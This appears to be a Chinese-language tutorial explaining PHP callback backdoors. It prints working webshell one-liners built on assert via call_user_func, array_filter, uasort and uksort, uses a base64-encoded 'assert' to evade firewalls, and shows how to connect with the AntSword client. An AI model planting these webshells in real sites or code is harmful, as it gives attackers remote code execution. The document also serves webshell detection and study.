什么是PHP回调后门?
PHP回调后门是指攻击者利用PHP的回调函数等技术,绕过WAF(Web应用防火墙),在受攻击的PHP应用程序中插入恶意代码。这种后门可以被用来执行任意PHP代码,例如访问数据库、执行系统命令、窃取敏感信息等,具有极大的危害性。
1. 初始的回调后门
call_user_func('assert', $_REQUEST['pass']);
解析:
call_user_func()
:把第一个参数作为回调函数调用。assert()
:用于执行传入的字符串代码。$_REQUEST['pass']
:攻击者控制的输入。
示例:执行 phpinfo()
查看PHP环境信息
如果攻击者向 pass
参数传递 phpinfo();
,则代码执行后会显示PHP的完整环境信息。
示例:蚁剑连接webshell
失败解析:
-
assert() 只能执行字符串代码
-
assert($code);
等价于if (!eval($code)) throw new AssertionError();
-
assert($_POST[123]);
的问题是,如果$_POST[123]
是个未定义变量或者非字符串,它会返回NULL
,导致assert(NULL);
直接返回false
,没有实际执行任何代码。 -
assert('eval($_POST[123]);');
这样传入的是 字符串形式的PHP代码,assert()
解析后相当于eval($_POST[123]);
,从而可以执行$_POST[123]
传入的任意命令。
-
-
蚁剑默认发送的Payload
-
当
body
传pass=$_POST[123]
时,assert($_POST[123]);
可能解析为assert(NULL);
或者assert(空字符串);
,直接返回false
,因此没有返回值。 -
当
pass='eval($_POST[123]);'
时,assert('eval($_POST[123]);');
由于是字符串,符合 assert() 语法要求,eval($_POST[123]);
成功执行,从而蚁剑的WebShell成功运行。
-
2. 数组操作造成的单参数回调后门
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
解析:
array()
:创建数组,包含用户传入的$_POST['pass']
。array_filter()
:使用回调函数过滤数组元素。base64_decode($e)
:解码后作为回调函数。
如果 e
传递的是 YXNzZXJ0
(即 assert
的Base64编码),则 array_filter()
会执行 assert($_POST['pass']);
,从而执行传入的PHP代码。
连接蚁剑
3. PHP 5.4.8+ 中的 assert
后门
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));
解析:
uasort()
:使用回调函数对数组的值进行排序。base64_decode($e)
:解码后作为排序回调。
如果 e
传递的是 YXNzZXJ0
,那么 uasort($arr, 'assert');
,相当于执行 assert($_REQUEST['pass']);
,从而执行PHP代码。
uksort
变体
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);
uksort()
使用用户自定义的回调函数对数组键名进行排序。e
传递assert
,等价于执行assert($_REQUEST['pass']);
。
适用版本
- 在PHP 5.3版本会报错,提示
assert
只能有一个参数。 - 在PHP 5.4+ 版本下可以成功执行。